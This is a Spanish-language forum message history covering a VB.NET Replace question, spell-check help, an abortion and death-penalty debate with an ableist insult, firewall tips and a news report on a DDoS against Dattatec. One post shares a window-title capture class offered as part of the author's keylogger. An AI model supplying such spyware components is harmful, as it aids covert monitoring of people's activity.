Mensajes

Buenas noches. Miren, tengo un problema que no estoy pudiendo resolver y no entiendo por qué.

Quiero reemplazar muchos caracteres (algunos caracters especiales y otros comunes) por números pero a la hora de hacerlo me salen números muy largos y nada que ver con lo que quiero hacer. He probado hacerlo con menos cantidad y funciona, pero cuando lo hago como el código siguiente el resultado es cualquier cosa.

Espero que me digan que estoy haciendo mal ya que me pasé toda la tarde buscando, probando y no pude resolverlo. Así que quisiera que le echen un vistazo y me den una mano.

En un momento pensé que es porque hay un límite de uso en cuanto los ".Replace"

Gracias.

Les muestro el código:

Código (vbnet) [Seleccionar] Expandir

   Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
       TextBox2.Text = Replace(TextBox1.Text, "ñ", ".1").Replace("4", ".2").Replace( _
   "?", ".3").Replace("*", ".4").Replace("q", ".5").Replace(")", ".6").Replace("Ç", ".7").Replace("Q", ".8").Replace("I", ".9").Replace( _
   "N", ".10").Replace("u", ".11").Replace("[", ".12").Replace("0", ".13").Replace("/", ".14").Replace("¬", ".15").Replace(";", ".16").Replace( _
   "1", ".17").Replace("3", ".18").Replace("}", ".19").Replace("h", ".20").Replace("¨", ".21").Replace("8", ".22").Replace("E", ".23").Replace( _
   "ª", ".24").Replace("ÿ", ".25").Replace("ú", ".26").Replace("C", ".27").Replace("#", ".28").Replace("é", ".29").Replace("·", ".30").Replace( _
   "K", ".31").Replace("O", ".32").Replace("_", ".33").Replace("a", ".34").Replace("l", ".35").Replace("\", ".36").Replace("t", ".37").Replace( _
   "v", ".38").Replace("$", ".39").Replace(",", ".40").Replace("J", ".41").Replace("^", ".42").Replace("2", ".43").Replace("R", ".44").Replace("n", ".45").Replace( _
   "6", ".46").Replace("!", ".47").Replace("y", ".48").Replace("M", ".49").Replace("o", ".50").Replace("|", ".51").Replace("¿", ".52").Replace("Ñ", ".53").Replace( _
   "&", ".54").Replace("A", ".55").Replace("`", ".56").Replace(">", ".57").Replace("b", ".58").Replace("Y", ".59").Replace("p", ".60").Replace("í", ".61").Replace( _
   "k", ".62").Replace("{", ".63").Replace("e", ".64").Replace("Z", ".65").Replace("j", ".66").Replace("%", ".67").Replace("H", ".68").Replace("P", ".69").Replace( _
   "V", ".70").Replace("º", ".71").Replace("=", ".72").Replace(".", ".73").Replace("G", ".74").Replace("á", ".75").Replace("+", ".76").Replace("U", ".77").Replace( _
   "¡", ".78").Replace("F", ".79").Replace("z", ".80").Replace("g", ".81").Replace("@", ".82").Replace("<", ".83").Replace(" ", ".84").Replace("(", ".85").Replace( _
   """", ".86").Replace("T", ".87").Replace("9", ".88").Replace("'", ".89").Replace("]", ".90").Replace("W", ".91").Replace("D", ".92").Replace("i", ".93").Replace( _
   "c", ".94").Replace("x", ".95").Replace("´", ".96").Replace("S", ".97").Replace("ç", ".98").Replace("5", ".99").Replace("-", ".100").Replace(":", ".101").Replace( _
   "s", ".102").Replace("r", ".103").Replace("d", ".104").Replace("B", ".105").Replace("7", ".106").Replace("ó", ".107").Replace("w", ".108").Replace("X", ".109").Replace( _
   "L", ".110").Replace("m", ".111").Replace("f", ".112")
   End Sub

Hola

Yo nunca he tocado ese tema, pero respondiendo a tu pregunta... poder, se puede.
Obviamente necesitas un diccionario (imagino que al ser de Microsoft podrás usar los diccionarios de MS Word para tener un super-corrector), el resto no sé exáctamente como se hace, pero a parte de la ayuda que te puedan dar, te dejo unos ejemplos que te pueden servir!:

http://www.codeproject.com/Articles/265823/i00-Spell-Check-and-Control-Extensions-No-Third-Pa

http://www.freevbcode.com/ShowCode.asp?ID=7685

http://www.c-sharpcorner.com/UploadFile/scottlysle/visual-basic-spell-check-enabled-rich-text-box-custom-contro/

http://www.codeproject.com/Articles/878/A-free-Spell-Checker-with-a-dictionary-editor-prog

Busca en Google por "grammar check" y "spell check"
https://www.google.com/search?q=vbnet+spell+check&ie=utf-8&oe=utf-8&lr=lang_en

Saludos!

Muchas gracias, me has servido de guía.

Bueno, he conseguido hacer que funcione este ejemplo que me da en ésta página.

Yo he estado haciendo un pequeño programa que cuenta las palabras que se está escribiendo en un textbox normal, pero para el ejemplo, sí o sí debo usar el textbox que se genera con el WPF y ese textbox no sé como controlarlo, es decir, entrar a sus propiedades y eventos desde el Form principal.

Me puse a travesear el código pero no pude lograrlo, je.

La ayuda que da MDSN no la entiendo  pero seguiré viendo, a ver si consigo destrabar este dilema.

Hola, les hago una pregunta, ¿es posible usar el corrector ortográfico de Word para hacer o marcar las palabras mal escritas en un richtextbox de un proyecto, por ejemplo?

Saludos. Gracias.

Contrata a:

@Lucas.AR, luego le tendrás que explicar al hijo, que ha nacido porque su madre fue violada y que ella ha preferido darlo a adopción. ¿Que tal crees que vivirá sabiendo eso?.

La pena de muerte es una solución muy fácil. Lo mejor (creo yo) es cadena perpetua sin ninguna posibilidad de salir de la cárcel hasta que se mueran. Pero en España la cadena perpetua es un cuento prefieren  la reeducación y reinserción social...

Saludos

Es verdad, pero hay gente que los puede ir preparando. No digo ocultarle su origen aunque sea de lo más espantoso, ya que no se puede borrar esas cosas porque pertenece a lo que sería su identidad. Es complicado, ya se, pero al menos estaría vivo. Insisto loco, es mi modo de pensar y para mí es lo mejor.

Eso de inserción social y el chamuyo sobre los DDHH es todo puro enganche manipulador. Esas gente, no se curan más... lo de pena de muerte es muy fuerte pero al menos que se cumpla como debe las cadenas perpetuas, sin salidas transitorias, ni beneficios, ni reducción de la pena por buena conducta (para todos los delincuentes igual).

En Argentina, es puro chamuyo todo, hay cosas que se hacen bien, pero me preocupa mucho lo que se viene si sigue así...

Saludos.

Nada

No se Uds., pero yo veo varios retrasos mentales aquí. Yo preferiría hablar más sobre  impulsar la pena de muerte para los violadores que matar a un ser no nacido que tiene vida y es inocente. Psicólogos podrían acompañar durante el embarazo de la mujer para quien, seguramente, debe ser traumático, entro otros profesionales. Hacer lo más fácil es como lavarse las manos en ciertos casos y los gobiernos dan mal ejemplo. Y de última, si la mujer no desea al bebé que lo dé a otra familia y listo. Se que no todas son fuertes como mi vecina que decidió tenerlo al bebé.

Tema de responsabilidades e irresponsabilidades es la cuestión. Pena más duras para estos seres perversos y de mente retorcida. Hay cosas que no deben cambiar nunca y eso me sorprendería que no lo supieran.

Mi opinión.

Fijate si el Firewall de Windows está funcionando bien. Si estás usando Windows 7, podés configurarlo para que bloquee las conexiones entrantes y salientes agregando "Reglas de entrada" y "Relgas de salida". Es muy fácil y funciona bien.

Saludos.

Hola, mirá. Yo también hice un keylogger con todos los "chiches" y me funciona de lo más bien. Aquí te dejo una clase que hice para capturar el nombre de la ventana activa.

Espero que te sirva:

Código (vbnet) [Seleccionar] Expandir

Public Class VentanaActiva
#Region " Declaraciones del API de Win32 "
    '
    <System.Runtime.InteropServices.DllImport("user32.dll")> _
    Private Shared Function GetWindowText( _
        ByVal hWnd As System.IntPtr, _
        ByVal lpString As System.Text.StringBuilder, _
        ByVal cch As Integer) As Integer
    End Function
    '
    <System.Runtime.InteropServices.DllImport("user32.dll")> _
    Private Shared Function GetActiveWindow() As System.IntPtr
    End Function
    '
    <System.Runtime.InteropServices.DllImport("user32.dll")> _
    Private Shared Function GetForegroundWindow() As System.IntPtr
    End Function
    '
#End Region
    Dim vRetorno As String
    Public Function CapturaVentana()

        ' r
        Dim titulo As New System.Text.StringBuilder(New String(" "c, 256))
        Dim ret As Integer
        Dim nombreVentana As String

        Dim hWnd As IntPtr = GetForegroundWindow()
        '
        'If hWnd.Equals(IntPtr.Zero) Then Return
        '
        ret = GetWindowText(hWnd, titulo, titulo.Length)
        'If ret = 0 Then Return
        '
        nombreVentana = titulo.ToString.Substring(0, ret)
        If nombreVentana <> Nothing AndAlso nombreVentana.Length > 0 Then

            vRetorno = nombreVentana + "[" + DateTime.Now.ToString("HH:mm:ss") + "] "

        End If

        Return vRetorno
    End Function


End Class

Saludos.

Dattatec, que desarrolló un mapa para Counter Strike sobre las Islas, denunció haber sido blanco de un ciberataque a sus servidores desde Reino Unido.

[youtube=640,360]http://www.youtube.com/watch?feature=player_embedded&v=L89Cd-ypcQo[/youtube]

Esta semana la firma lanzó el mapa Malvinas para Counter Strike y la noticia recorrió el mundo.

"Una vez que nosotros lanzamos esto del mapa (juego), tomó una repercusión bastante importante que no esperábamos, incluso en medios europeos, principalmente de Inglaterra. A partir de ese momento, lo que sucedió es que comenzamos a recibir un ataque de negación de servicio", explicó Diego Vitalli, integrante del área de marketing de la empresa Dattatec.

La "embestida cibernética" superaba los 2 Gbps y en algunos picos alcanzó los 5 Gbps. Este nivel de ataque equivale al tráfico que generarían unas 5.000 computadoras hogareñas conectadas a internet al mismo tiempo.

Según explicó, "son muchas computadoras visitando el sitio en forma simultánea, que disparan contra el sitio; lo que buscan es que quede fuera de línea colapsando la conexión al servidor", agregó.

"La modalidad de este tipo de embestidas es llamada "Ataque Distribuido de Denegación de Servicio (DDoS)", puntualizó el integrante de la empresa Dattatec, quien señaló que consiste en "saturar la conexión del servidor atacado, a través de una gran cantidad de tráfico enviado desde miles de computadoras" conectadas a internet.

La consecuencia de esta acción es que el sitio web atacado queda inaccesible para quienes desean visitarlo.

Así, los ataques cibernéticos promueven la salida de servicio de los servidores de la empresa que, en el caso de Dattatec, no se dedica sólo al mundo del videojuego sino que es un proveedor de tecnología para el ambiente corporativo.

"Los intentos por dejar fuera de servicio nuestros servidores han sido repelidos con éxito por personal técnico de la empresa, quienes también identificaron el origen del mismo", indicó la firma.

Explicó que "normalmente los ataques suelen provenir de servidores alojados en proveedores de web hosting, y también de computadoras hogareñas conectadas a internet e infectadas con un virus o con algún tipo de vulnerabilidad".

En particular, en este caso, "la mayoría de las direcciones IP de donde provienen los ataques están radicadas geográficamente en el Reino Unido".

"No acusamos a nadie, sólo decimos que tuvimos un ataque y lo pudimos frenar", indicaron en la empresa, conscientes de que cualquier persona de cualquier punto del planeta puede lanzar un virus troyano en el Reino Unido, que infecte a máquinas de personas individuales o de corporaciones para que ataquen un destino predeterminado.

Precisaron que los sitios atacados fueron los vinculados con las campañas de Dattatec con la temática de Malvinas, como "www.mensajemalvinas.com" o "juegos.dattatec.com", donde se aloja el nuevo mapa Malvinas para el videojuego.


Fuente: http://www.infobae.com/notas/703217-Hackers-britanicos-atacan-empresa-argentina-por-videojuego-de-Malvinas.html